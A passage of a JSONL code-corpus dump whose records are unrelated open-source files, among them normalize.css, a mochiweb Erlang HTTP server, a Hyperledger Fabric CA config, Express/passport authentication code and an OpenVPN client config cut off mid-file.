rb.repo.Timestamp.Signed.Meta[data.CanonicalSnapshotRole.String()].Hashes\n\tdefault:\n\t\tif rb.repo.Snapshot == nil {\n\t\t\treturn nil\n\t\t}\n\t\thashes = rb.repo.Snapshot.Signed.Meta[role.String()].Hashes\n\t}\n\treturn &hashes\n}\n"} {"text": "//\n// Generated by class-dump 3.5 (64 bit).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.\n//\n\n#import <objc/NSObject.h>\n\n@class NSDate;\n\n@interface AKAbsintheSigner : NSObject\n{\n NSDate *_contextCreationDate;\n}\n\n+ (id)sharedSigner;\n- (void).cxx_destruct;\n- (id)signatureForURLRequest:(id)arg1;\n\n@end\n\n"} {"text": "/*! normalize.css v2.1.0 | MIT License | git.io/normalize */\n\n// ==========================================================================\n// HTML5 display definitions\n// ==========================================================================\n\n//\n// Correct `block` display not defined in IE 8/9.\n//\n\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nnav,\nsection,\nsummary {\n display: block;\n}\n\n//\n// Correct `inline-block` display not defined in IE 8/9.\n//\n\naudio,\ncanvas,\nvideo {\n display: inline-block;\n}\n\n//\n// Prevent modern browsers from displaying `audio` without controls.\n// Remove excess height in iOS 5 devices.\n//\n\naudio:not([controls]) {\n display: none;\n height: 0;\n}\n\n//\n// Address styling not present in IE 8/9.\n//\n\n[hidden] {\n display: none;\n}\n\n// ==========================================================================\n// Base\n// ==========================================================================\n\n//\n// 1. Set default font family to sans-serif.\n// 2. Prevent iOS text size adjust after orientation change, without disabling\n// user zoom.\n//\n\nhtml {\n font-family: sans-serif; // 1\n -webkit-text-size-adjust: 100%; // 2\n -ms-text-size-adjust: 100%; // 2\n}\n\n//\n// Remove default margin.\n//\n\nbody {\n margin: 0;\n}\n\n// ==========================================================================\n// Links\n// ==========================================================================\n\n//\n// Address `outline` inconsistency between Chrome and other browsers.\n//\n\na:focus {\n outline: thin dotted;\n}\n\n//\n// Improve readability when focused and also mouse hovered in all browsers.\n//\n\na:active,\na:hover {\n outline: 0;\n}\n\n// ==========================================================================\n// Typography\n// ==========================================================================\n\n//\n// Address variable `h1` font-size and margin within `section` and `article`\n// contexts in Firefox 4+, Safari 5, and Chrome.\n//\n\nh1 {\n font-size: 2em;\n margin: 0.67em 0;\n}\n\n//\n// Address styling not present in IE 8/9, Safari 5, and Chrome.\n//\n\nabbr[title] {\n border-bottom: 1px dotted;\n}\n\n//\n// Address style set to `bolder` in Firefox 4+, Safari 5, and Chrome.\n//\n\nb,\nstrong {\n font-weight: bold;\n}\n\n//\n// Address styling not present in Safari 5 and Chrome.\n//\n\ndfn {\n font-style: italic;\n}\n\n//\n// Address differences between Firefox and other browsers.\n//\n\nhr {\n -moz-box-sizing: content-box;\n box-sizing: content-box;\n height: 0;\n}\n\n//\n// Address styling not present in IE 8/9.\n//\n\nmark {\n background: #ff0;\n color: #000;\n}\n\n//\n// Correct font family set oddly in Safari 5 and Chrome.\n//\n\ncode,\nkbd,\npre,\nsamp {\n font-family: monospace, serif;\n font-size: 1em;\n}\n\n//\n// Improve readability of pre-formatted text in all browsers.\n//\n\npre {\n white-space: pre-wrap;\n}\n\n//\n// Set consistent quote types.\n//\n\nq {\n quotes: \"\\201C\" \"\\201D\" \"\\2018\" \"\\2019\";\n}\n\n//\n// Address inconsistent and variable font size in all browsers.\n//\n\nsmall {\n font-size: 80%;\n}\n\n//\n// Prevent `sub` and `sup` affecting `line-height` in all browsers.\n//\n\nsub,\nsup {\n font-size: 75%;\n line-height: 0;\n position: relative;\n vertical-align: baseline;\n}\n\nsup {\n top: -0.5em;\n}\n\nsub {\n bottom: -0.25em;\n}\n\n// ==========================================================================\n// Embedded content\n// ==========================================================================\n\n//\n// Remove border when inside `a` element in IE 8/9.\n//\n\nimg {\n border: 0;\n}\n\n//\n// Correct overflow displayed oddly in IE 9.\n//\n\nsvg:not(:root) {\n overflow: hidden;\n}\n\n// ==========================================================================\n// Figures\n// ==========================================================================\n\n//\n// Address margin not present in IE 8/9 and Safari 5.\n//\n\nfigure {\n margin: 0;\n}\n\n// ==========================================================================\n// Forms\n// ==========================================================================\n\n//\n// Define consistent border, margin, and padding.\n//\n\nfieldset {\n border: 1px solid #c0c0c0;\n margin: 0 2px;\n padding: 0.35em 0.625em 0.75em;\n}\n\n//\n// 1. Correct `color` not being inherited in IE 8/9.\n// 2. Remove padding so people aren't caught out if they zero out fieldsets.\n//\n\nlegend {\n border: 0; // 1\n padding: 0; // 2\n}\n\n//\n// 1. Correct font family not being inherited in all browsers.\n// 2. Correct font size not being inherited in all browsers.\n// 3. Address margins set differently in Firefox 4+, Safari 5, and Chrome.\n//\n\nbutton,\ninput,\nselect,\ntextarea {\n font-family: inherit; // 1\n font-size: 100%; // 2\n margin: 0; // 3\n}\n\n//\n// Address Firefox 4+ setting `line-height` on `input` using `!important` in\n// the UA stylesheet.\n//\n\nbutton,\ninput {\n line-height: normal;\n}\n\n//\n// Address inconsistent `text-transform` inheritance for `button` and `select`.\n// All other form control elements do not inherit `text-transform` values.\n// Correct `button` style inheritance in Chrome, Safari 5+, and IE 8+.\n// Correct `select` style inheritance in Firefox 4+ and Opera.\n//\n\nbutton,\nselect {\n text-transform: none;\n}\n\n//\n// 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`\n// and `video` controls.\n// 2. Correct inability to style clickable `input` types in iOS.\n// 3. Improve usability and consistency of cursor style between image-type\n// `input` and others.\n//\n\nbutton,\nhtml input[type=\"button\"], // 1\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n -webkit-appearance: button; // 2\n cursor: pointer; // 3\n}\n\n//\n// Re-set default cursor for disabled elements.\n//\n\nbutton[disabled],\nhtml input[disabled] {\n cursor: default;\n}\n\n//\n// 1. Address box sizing set to `content-box` in IE 8/9.\n// 2. Remove excess padding in IE 8/9.\n//\n\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n box-sizing: border-box; // 1\n padding: 0; // 2\n}\n\n//\n// 1. Address `appearance` set to `searchfield` in Safari 5 and Chrome.\n// 2. Address `box-sizing` set to `border-box` in Safari 5 and Chrome\n// (include `-moz` to future-proof).\n//\n\ninput[type=\"search\"] {\n -webkit-appearance: textfield; // 1\n -moz-box-sizing: content-box;\n -webkit-box-sizing: content-box; // 2\n box-sizing: content-box;\n}\n\n//\n// Remove inner padding and search cancel button in Safari 5 and Chrome\n// on OS X.\n//\n\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n//\n// Remove inner padding and border in Firefox 4+.\n//\n\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n border: 0;\n padding: 0;\n}\n\n//\n// 1. Remove default vertical scrollbar in IE 8/9.\n// 2. Improve readability and alignment in all browsers.\n//\n\ntextarea {\n overflow: auto; // 1\n vertical-align: top; // 2\n}\n\n// ==========================================================================\n// Tables\n// ==========================================================================\n\n//\n// Remove most spacing between table cells.\n//\n\ntable {\n border-collapse: collapse;\n border-spacing: 0;\n}\n"} {"text": "me.aflak.bluetooth\nme.aflak.bluetooth.constants\nme.aflak.bluetooth.interfaces\nme.aflak.bluetooth.reader\nme.aflak.bluetooth.utils\nme.aflak.libraries\n"} {"text": "// WARNING: DO NOT EDIT THIS FILE. THIS FILE IS MANAGED BY SPRING ROO.\n// You may push code into the target .java compilation unit if you wish to edit any member(s).\n\npackage nl.bzk.brp.model.data.kern;\n\nimport javax.persistence.EntityManager;\nimport javax.persistence.TypedQuery;\nimport nl.bzk.brp.model.data.kern.Pers;\nimport nl.bzk.brp.model.data.kern.Persgeslnaamcomp;\n\nprivileged aspect Persgeslnaamcomp_Roo_Finder {\n \n public static TypedQuery<Persgeslnaamcomp> Persgeslnaamcomp.findPersgeslnaamcompsByPers(Pers pers) {\n if (pers == null) throw new IllegalArgumentException(\"The pers argument is required\");\n EntityManager em = Persgeslnaamcomp.entityManager();\n TypedQuery<Persgeslnaamcomp> q = em.createQuery(\"SELECT o FROM Persgeslnaamcomp AS o WHERE o.pers = :pers\", Persgeslnaamcomp.class);\n q.setParameter(\"pers\", pers);\n return q;\n }\n \n}\n"} {"text": "%% @author Bob Ippolito <bob@mochimedia.com>\n%% @copyright 2007 Mochi Media, Inc.\n\n%% @doc HTTP server.\n\n-module(mochiweb_http).\n-author('bob@mochimedia.com').\n-export([start/0, start/1, stop/0, stop/1]).\n-export([loop/2, default_body/1]).\n\n-define(IDLE_TIMEOUT, 30000).\n\n-define(DEFAULTS, [{name, ?MODULE},\n {port, 8888}]).\n\nset_default({Prop, Value}, PropList) ->\n case proplists:is_defined(Prop, PropList) of\n true ->\n PropList;\n false ->\n [{Prop, Value} | PropList]\n end.\n\nset_defaults(Defaults, PropList) ->\n lists:foldl(fun set_default/2, PropList, Defaults).\n\nparse_options(Options) ->\n {loop, HttpLoop} = proplists:lookup(loop, Options),\n Loop = fun (S) ->\n ?MODULE:loop(S, HttpLoop)\n end,\n Options1 = [{loop, Loop} | proplists:delete(loop, Options)],\n set_defaults(?DEFAULTS, Options1).\n\nstop() ->\n mochiweb_socket_server:stop(?MODULE).\n\nstop(Name) ->\n mochiweb_socket_server:stop(Name).\n \nstart() ->\n start([{ip, \"127.0.0.1\"},\n {loop, {?MODULE, default_body}}]).\n\nstart(Options) ->\n mochiweb_socket_server:start(parse_options(Options)).\n\nfrm(Body) ->\n [\"<html><head></head><body>\"\n \"<form method=\\\"POST\\\">\"\n \"<input type=\\\"hidden\\\" value=\\\"message\\\" name=\\\"hidden\\\"/>\"\n \"<input type=\\\"submit\\\" value=\\\"regular POST\\\">\"\n \"</form>\"\n \"<br />\"\n \"<form method=\\\"POST\\\" enctype=\\\"multipart/form-data\\\"\"\n \" action=\\\"/multipart\\\">\"\n \"<input type=\\\"hidden\\\" value=\\\"multipart message\\\" name=\\\"hidden\\\"/>\"\n \"<input type=\\\"file\\\" name=\\\"file\\\"/>\"\n \"<input type=\\\"submit\\\" value=\\\"multipart POST\\\" />\"\n \"</form>\"\n \"<pre>\", Body, \"</pre>\"\n \"</body></html>\"].\n\ndefault_body(Req, M, \"/chunked\") when M =:= 'GET'; M =:= 'HEAD' ->\n Res = Req:ok({\"text/plain\", [], chunked}),\n Res:write_chunk(\"First chunk\\r\\n\"),\n timer:sleep(5000),\n Res:write_chunk(\"Last chunk\\r\\n\"),\n Res:write_chunk(\"\");\ndefault_body(Req, M, _Path) when M =:= 'GET'; M =:= 'HEAD' ->\n Body = io_lib:format(\"~p~n\", [[{parse_qs, Req:parse_qs()},\n {parse_cookie, Req:parse_cookie()},\n Req:dump()]]),\n Req:ok({\"text/html\",\n [mochiweb_cookies:cookie(\"mochiweb_http\", \"test_cookie\")],\n frm(Body)});\ndefault_body(Req, 'POST', \"/multipart\") ->\n Body = io_lib:format(\"~p~n\", [[{parse_qs, Req:parse_qs()},\n {parse_cookie, Req:parse_cookie()},\n {body, Req:recv_body()},\n Req:dump()]]),\n Req:ok({\"text/html\", [], frm(Body)});\ndefault_body(Req, 'POST', _Path) -> \n Body = io_lib:format(\"~p~n\", [[{parse_qs, Req:parse_qs()},\n {parse_cookie, Req:parse_cookie()},\n {parse_post, Req:parse_post()},\n Req:dump()]]),\n Req:ok({\"text/html\", [], frm(Body)}); \ndefault_body(Req, _Method, _Path) ->\n Req:respond({501, [], []}).\n\ndefault_body(Req) ->\n default_body(Req, Req:get(method), Req:get(path)).\n\nloop(Socket, Body) ->\n inet:setopts(Socket, [{packet, http}]),\n request(Socket, Body).\n\nrequest(Socket, Body) ->\n case gen_tcp:recv(Socket, 0, ?IDLE_TIMEOUT) of\n {ok, {http_request, Method, Path, Version}} ->\n headers(Socket, {Method, Path, Version}, [], Body);\n {error, {http_error, \"\\r\\n\"}} ->\n request(Socket, Body);\n {error, {http_error, \"\\n\"}} ->\n request(Socket, Body);\n _Other ->\n gen_tcp:close(Socket),\n exit(normal)\n end.\n\nheaders(Socket, Request, Headers, Body) ->\n case gen_tcp:recv(Socket, 0, ?IDLE_TIMEOUT) of\n {ok, http_eoh} ->\n inet:setopts(Socket, [{packet, raw}]),\n Req = mochiweb:new_request({Socket, Request,\n lists:reverse(Headers)}),\n Body(Req),\n case Req:should_close() of\n true ->\n gen_tcp:close(Socket),\n exit(normal);\n false ->\n Req:cleanup(),\n ?MODULE:loop(Socket, Body)\n end;\n {ok, {http_header, _, Name, _, Value}} ->\n headers(Socket, Request, [{Name, Value} | Headers], Body);\n _Other ->\n gen_tcp:close(Socket),\n exit(normal)\n end.\n"} {"text": "version: 1.4.0\nport: 7054\ndebug: false\ncrlsizelimit: 512000\ntls:\n enabled: false\n certfile: null\n keyfile: null\n clientauth:\n type: noclientcert\n certfiles: null\nca:\n name: tlsca.org2.example.com\n keyfile: tlsca.org2.example.com_sk\n certfile: tlsca.org2.example.com-cert.pem\n chainfile: null\ncrl:\n expiry: 24h\nregistry:\n maxenrollments: -1\n identities:\n - name: boot-admin\n pass: boot-pass\n type: client\n affiliation: \"\"\n attrs:\n hf.Registrar.Roles: '*'\n hf.Registrar.DelegateRoles: '*'\n hf.Revoker: true\n hf.IntermediateCA: true\n hf.GenCRL: true\n hf.Registrar.Attributes: '*'\n hf.AffiliationMgr: true\ndb:\n type: sqlite3\n datasource: fabric-ca-server.db\n tls:\n enabled: false\n certfiles: null\n client:\n certfile: null\n keyfile: null\nldap:\n enabled: false\n url: ldap://<adminDN>:<adminPassword>@<host>:<port>/<base>\n tls:\n certfiles: null\n client:\n certfile: null\n keyfile: null\n attribute:\n names:\n - uid\n - member\n converters:\n - name: null\n value: null\n maps:\n groups:\n - name: null\n value: null\naffiliations:\n org1:\n - department1\n - department2\n org2:\n - department1\nsigning:\n default:\n usage:\n - digital signature\n - cert sign\n - crl sign\n expiry: 87600h\n profiles:\n ca:\n usage:\n - cert sign\n - crl sign\n expiry: 43800h\n caconstraint:\n isca: true\n maxpathlen: 0\n tls:\n usage:\n - signing\n - key encipherment\n - server auth\n - client auth\n - key agreement\n expiry: 87600h\ncsr:\n cn: tlsca.org2.example.com\n keyrequest:\n algo: ecdsa\n size: 256\n names:\n - C: US\n ST: North Carolina\n L: null\n O: org2.example.com\n OU: tlsca\n hosts:\n - fabric-ca-server\n - localhost\n ca:\n expiry: 1314000h\n pathlength: 1\nidemix:\n rhpoolsize: 1000\n nonceexpiration: 15s\n noncesweepinterval: 15m\nbccsp:\n default: SW\n sw:\n hash: SHA2\n security: 256\n filekeystore:\n keystore: msp/keystore\ncacount: null\ncafiles: null\nintermediate:\n parentserver:\n url: null\n caname: null\n enrollment:\n hosts: null\n profile: null\n label: null\n tls:\n certfiles: null\n client:\n certfile: null\n keyfile: null\n"} {"text": " /**\r\n * Records the timestamp for each value in an observable sequence.\r\n *\r\n * @example\r\n * 1 - res = source.timestamp(); // produces { value: x, timestamp: ts }\r\n * 2 - res = source.timestamp(Rx.Scheduler.timeout);\r\n *\r\n * @param {Scheduler} [scheduler] Scheduler used to compute timestamps. If not specified, the timeout scheduler is used.\r\n * @returns {Observable} An observable sequence with timestamp information on values.\r\n */\r\n observableProto.timestamp = function (scheduler) {\r\n isScheduler(scheduler) || (scheduler = timeoutScheduler);\r\n return this.map(function (x) {\r\n return { value: x, timestamp: scheduler.now() };\r\n });\r\n };\r\n"} {"text": "---\nlayout: threat-list\ntitle: Mobile Device Technology Stack\n---\n\n<p><b><a href=\"#mobile-operating-system\">Mobile Operating System:</a></b> Operating system specifically designed for a mobile device and running mobile applications.</p>\n\n<p><b><a href=\"#device-drivers\">Device Drivers:</a></b> Firmware running on a mobile device often used to interact with device hardware and other peripherals (e.g., camera)</p>\n\n<p><b><a href=\"#isolated-exec-environ\">Isolated Execution Environments:</a></b> Hardware- or Firmware-based environment built into the mobile device that may provide many capabilities such as trusted key storage, code verification, code integrity, and trusted execution for security relevant\n processes.</p>\n\n<p><b><a href=\"#boot-firmware\">Boot Firmware:</a></b> The firmware necessary to boot the mobile OS (i.e., bootloader), and may verify additional device initialization code, device drivers used for peripherals, and portions of the mobile OS - all before a user can use the device.</p>\n\n<p><b><a href=\"#baseband-subsystem\">Baseband Subsystem:</a></b> The collection of hardware and firmware used to access the cellular network, and may run a real-time operating system (RTOS).</p>\n\n<p><b><a href=\"#sim-card\">SIM Card:</a></b> This removable hardware token is a System on a Chip (SoC) housing the subscriber identity (i.e., International Mobile Subscriber Identity), pre-shared cryptographic keys, and configuration information needed to obtain access to cellular\n networks.</p>\n\n<p><b><a href=\"#sd-card\">Secure Digital (SD) Card:</a></b> A removable peripheral supported by some models of mobile devices. SD cards come in many form factors and are most often used for data storage, and may contain app binaries, app data, or user data. SD System on a Chip (SoC) peripherals, such as a Wi-Fi adapter, also exist.</p>\n\n\n<h2>Threat List</h2>\n\n<h3 id=\"mobile-operating-system\">Mobile Operating System</h3>\n<ul class=\"threat-list\">\n {% assign sorted = site.stack-threats | sort:\"rawID\" %}\n {% for stack-threat in sorted %}\n {% if stack-threat.ThreatCategory == 'Mobile Operating System' %}\n <li><a href=\"{{ site.baseurl }}{{ stack-threat.url }}#page\">{{ stack-threat.Threat }}</a></li>\n {% endif %}\n {% endfor %}\n</ul>\n\n<h3 id=\"device-drivers\">Device Drivers</h3>\n<ul class=\"threat-list\">\n {% for stack-threat in sorted %}\n {% if stack-threat.ThreatCategory == 'Device Drivers' %}\n <li><a href=\"{{ site.baseurl }}{{ stack-threat.url }}#page\">{{ stack-threat.Threat }}</a></li>\n {% endif %}\n {% endfor %}\n</ul>\n\n<h3 id=\"isolated-exec-environ\">Isolated Execution Environments</h3>\n<ul class=\"threat-list\">\n {% for stack-threat in sorted %}\n {% if stack-threat.ThreatCategory == 'Isolated Execution Environments' %}\n <li><a href=\"{{ site.baseurl }}{{ stack-threat.url }}#page\">{{ stack-threat.Threat }}</a></li>\n {% endif %}\n {% endfor %}\n</ul>\n\n<h3 id=\"boot-firmware\">Boot Firmware</h3>\n<ul class=\"threat-list\">\n {% for stack-threat in sorted %}\n {% if stack-threat.ThreatCategory == 'Boot firmware' %}\n <li><a href=\"{{ site.baseurl }}{{ stack-threat.url }}#page\">{{ stack-threat.Threat }}</a></li>\n {% endif %}\n {% endfor %}\n</ul>\n\n<h3 id=\"baseband-subsystem\">Baseband Subsystem</h3>\n<ul class=\"threat-list\">\n {% for stack-threat in sorted %}\n {% if stack-threat.ThreatCategory == 'Baseband Subsystem' %}\n <li><a href=\"{{ site.baseurl }}{{ stack-threat.url }}#page\">{{ stack-threat.Threat }}</a></li>\n {% endif %}\n {% endfor %}\n</ul>\n\n<h3 id=\"sim-card\">SIM Card</h3>\n<ul class=\"threat-list\">\n {% for stack-threat in sorted %}\n {% if stack-threat.ThreatCategory == 'USIM / SIM / UICC security' %}\n <li><a href=\"{{ site.baseurl }}{{ stack-threat.url }}#page\">{{ stack-threat.Threat }}</a></li>\n {% endif %}\n {% endfor %}\n</ul>\n\n<h3 id=\"sd-card\">SD Card</h3>\n<ul class=\"threat-list\">\n {% for stack-threat in sorted %}\n {% if stack-threat.ThreatCategory == 'SD Card' %}\n <li><a href=\"{{ site.baseurl }}{{ stack-threat.url }}#page\">{{ stack-threat.Threat }}</a></li>\n {% endif %}\n {% endfor %}\n</ul>\n"} {"text": "import passport from 'passport';\nimport {Strategy as LocalStrategy} from 'passport-local';\nimport session from 'express-session';\nimport sessionKnex from 'connect-session-knex';\nimport {Express, RequestHandler} from 'express';\nimport {Strategy as BearerStrategy} from 'passport-http-bearer';\nimport * as bcrypt from 'bcrypt';\nimport {Issuer as OIDCIssuer, Strategy as OIDCStrategy, TokenSet, UserinfoResponse} from 'openid-client';\n\nimport db from './db';\nimport {SettingsService} from \"./settings/services/SettingsService\";\nimport {SettingKeys} from \"./settings/interfaces\";\nimport urljoin from 'url-join';\n\nexport default (app: Express, settingsService: SettingsService, config: any): RequestHandler => {\n const SessionKnex = sessionKnex(session);\n const sessionConfig = Object.assign({\n resave: false,\n saveUninitialized: false,\n cookie: {httpOnly: true, secure: false},\n store: new SessionKnex({ knex: db, createTable: false, tablename: 'sessions' }),\n }, config.session);\n\n if (app.get('env') === 'production') {\n app.set('trust proxy', 1); // trust first proxy\n //sessionConfig.cookie.secure = true; // serve secure cookies\n }\n\n app.use(session(sessionConfig));\n\n\n passport.use(new LocalStrategy(async function(username, password, done) {\n try {\n const user = await getEntityWithCreds('local', username, password);\n if (!user) {\n return done(null, false);\n }\n\n return done(null, user);\n } catch (e) {\n return done(e);\n }\n }));\n passport.use(new BearerStrategy(async function(token, done) {\n try {\n const tokenParts = token.split(':');\n if (tokenParts.length !== 2) {\n return done(null, false);\n }\n\n const id = Buffer.from(tokenParts[0], 'base64').toString('utf8');\n const secret = Buffer.from(tokenParts[1], 'base64').toString('utf8');\n\n const user = await getEntityWithCreds('bearer', id, secret);\n if (!user) {\n return done(null, false);\n }\n\n return done(null, user);\n } catch (e) {\n return done(e);\n }\n }));\n\n // This can be used to keep a smaller payload\n passport.serializeUser(function(user, done) {\n done(null, user);\n });\n\n passport.deserializeUser(function(user, done) {\n done(null, user);\n });\n\n // ...\n app.use(passport.initialize());\n app.use(passport.session());\n\n\n\n // Accept the OpenID identifier and redirect the user to their OpenID\n // provider for authentication. When complete, the provider will redirect\n // the user back to the application at:\n // /auth/openid/return\n app.get('/auth/openid', async (req, res, next) => {\n if (await settingsService.get(SettingKeys.AuthOpenIdEnabled) === false) {\n return res.sendStatus(404);\n }\n if (req.user) {\n return res.redirect('/');\n }\n\n const callerId = 'auth';\n const keysToWatch = [\n SettingKeys.AuthOpenIdClientId,\n SettingKeys.AuthOpenIdClientSecret,\n SettingKeys.BaseUrl,\n SettingKeys.AuthOpenIdResponseMode,\n SettingKeys.AuthOpenIdIdentifierClaimName,\n SettingKeys.AuthOpenIdRequestedScopes,\n ];\n if (await settingsService.hasChanged(callerId, keysToWatch)) {\n console.log('Change of the OpenID authentication config detected. Reinitializing auth backend...');\n passport.unuse('openid');\n\n const issuer = await OIDCIssuer.discover(await settingsService.get(SettingKeys.AuthOpenIdDiscoveryUrl, callerId)); // => Promise\n\n //console.log('Discovered issuer %s %O', issuer.issuer, issuer.metadata);\n const client = new issuer.Client({\n client_id: await settingsService.get(SettingKeys.AuthOpenIdClientId, callerId),\n client_secret: await settingsService.get(SettingKeys.AuthOpenIdClientSecret, callerId),\n redirect_uris: [urljoin(await settingsService.get(SettingKeys.BaseUrl, callerId), '/auth/openid/return')],\n response_types: ['code'],\n });\n\n passport.use('openid', new OIDCStrategy(\n {\n client,\n params: {\n scope: await settingsService.get(SettingKeys.AuthOpenIdRequestedScopes, callerId),\n response_mode: await settingsService.get(SettingKeys.AuthOpenIdResponseMode, callerId),\n }\n },\n async function(tokenSet: TokenSet/*, userinfo: UserinfoResponse*/, done: any) {\n try {\n if (tokenSet.expired()) {\n return done(null, false, { message: 'Expired OpenID token' });\n }\n\n const claims = tokenSet.claims();\n const idClaimName = await settingsService.get(SettingKeys.AuthOpenIdIdentifierClaimName, callerId);\n\n let identifiers: string[] = claims[idClaimName] as any;\n if (!identifiers) {\n return done(null, false, { message: 'Can\\'t find user identifier using IdentityClaimName' });\n } else if (!Array.isArray(identifiers)) {\n identifiers = [identifiers];\n }\n\n let user: any;\n for (let id of identifiers) {\n user = await getEntityWithCreds('openid', id, null);\n if (user) {\n break;\n }\n }\n\n if (!user) {\n return done(null, false, { message: `Can\\'t find presented identifiers \"${identifiers.toString()}\" in auth entities list` });\n }\n\n return done(null, user);\n } catch (e) {\n return done(e);\n }\n })\n );\n }\n\n next();\n }, passport.authenticate('openid'));\n\n\n const openidReturnHandlers: RequestHandler[] = [\n async (req, res, next) => {\n if (await settingsService.get(SettingKeys.AuthOpenIdEnabled) === true) {\n return next();\n }\n\n res.sendStatus(404);\n },\n (req, res, next) => {\n passport.authenticate('openid', function(err, user, info) {\n if (err) {\n return next(err);\n }\n if (!user) {\n res.status(401);\n res.header('Content-type', 'text/html');\n return res.end(`<pre>${info.message}</pre><br><a href=\"/\">Go to main page</a>`);\n }\n req.logIn(user, function(err) {\n if (err) {\n return next(err);\n }\n\n res.cookie('ilc:userInfo', JSON.stringify(user));\n return res.redirect('/');\n });\n })(req, res, next);\n }\n ];\n // The OpenID provider has redirected the user back to the application.\n // Finish the authentication process by verifying the assertion. If valid,\n // the user will be logged in. Otherwise, authentication has failed.\n app.get('/auth/openid/return', openidReturnHandlers); //Regular flow\n app.post('/auth/openid/return', openidReturnHandlers); //response_mode: 'form_post' flow\n\n // Accept passed username/password pair & perform an attempt to authenticate against local DB\n app.post('/auth/local', passport.authenticate(['local']), (req, res) => {\n res.cookie('ilc:userInfo', JSON.stringify(req.user));\n res.send('ok');\n });\n\n app.get('/auth/logout', (req, res) => {\n req.logout();\n res.clearCookie('ilc:userInfo');\n res.redirect('/');\n });\n\n app.get('/auth/available-methods', async (req, res) => {\n const availableMethods = ['local'];\n\n if (await settingsService.get(SettingKeys.AuthOpenIdEnabled) === true) {\n availableMethods.push('openid');\n }\n\n res.json(availableMethods);\n });\n\n return (req: any, res: any, next: any) => {\n if (!req.user) {\n return passport.authenticate('bearer', { session: false })(req, res, next);\n }\n\n return next();\n };\n}\n\nasync function getEntityWithCreds(provider: string, identifier: string, secret: string|null):Promise<object|null> {\n const user = await db.select().from('auth_entities')\n .first('identifier', 'role', 'secret')\n .where({\n provider,\n identifier\n });\n if (!user) {\n return null;\n }\n\n if (secret !== null || user.secret !== null) { //Support of the password less auth methods, like OpenID Connect\n if (!await bcrypt.compare(secret, user.secret)) {\n return null;\n }\n }\n\n delete user.secret;\n\n return user;\n}\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<typeInfoHistroy/>\n"} {"text": "/* -*- c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 4 -*- */\n/* vi: set ts=4 sw=4 expandtab: (add to ~/.vimrc: set modeline modelines=5) */\n/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */\nimport com.adobe.test.Assert;\n\n// var SECTION = \"6.3.7\";\n// var VERSION = \"AS3\";\n// var TITLE = \"The logical not ! operator\";\n\n\nvar flt:float = new float(3.1413119f);\nAddStrictTestCase(\"logical not on float\", !3, !flt);\n\nflt = float(+0.0);\nAddStrictTestCase(\"!float(+0.0)\", Boolean(true), !flt);\n\nflt = +0.0f;\nAssert.expectEq(\"!(+0.0f) FloatLiteral\", true, !flt);\n\nflt = float(-0.0);\nAssert.expectEq(\"!float(-0.0)\", true, !flt);\n\nflt = -0.0f;\nAssert.expectEq(\"!(-0.0f) FloatLiteral\", true, !flt);\n\nflt = float.NaN;\nAssert.expectEq(\"!float.NaN\", true, !flt);\n\nflt = float.MIN_VALUE;\nAssert.expectEq(\"!float.MIN_VALUE\", false, !flt);\n\nflt = -float.MIN_VALUE;\nAssert.expectEq(\"!-float.MIN_VALUE\", false, !flt);\n\nflt = float(-0.23);\nAssert.expectEq(\"!float(-0.23)\", false, !flt);\n\nflt = -0.23f;\nAssert.expectEq(\"!(-0.23f) FloatLiteral\", false, !flt);\n\n\n\n\n"} {"text": "//\n// Generated by class-dump 3.5 (64 bit).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.\n//\n\n#import <UIKit/UIStatusBarItemView.h>\n\n__attribute__((visibility(\"hidden\")))\n@interface UIStatusBarLocationItemView : UIStatusBarItemView\n{\n int _iconType;\n}\n\n- (id)contentsImage;\n- (_Bool)updateForNewData:(id)arg1 actions:(int)arg2;\n\n@end\n\n"} {"text": "client\ndev tun\nproto udp\nremote 185.159.158.103 443\nresolv-retry infinite\nnobind\ncipher AES-256-CBC\nauth SHA512\nverb 3\nauth-user-pass ../Own_VPN_Config/protonvpnauth.txt\ntun-mtu 1500\ntun-mtu-extra 32\nmssfix 1450\npersist-key\npersist-tun\n\nping 15\nping-restart 0\nping-timer-rem\nreneg-sec 0\n\nremote-cert-tls server\npull\nfast-io\n\n#register-dns\n#block-outside-dns\n\n<ca>\n-----BEGIN 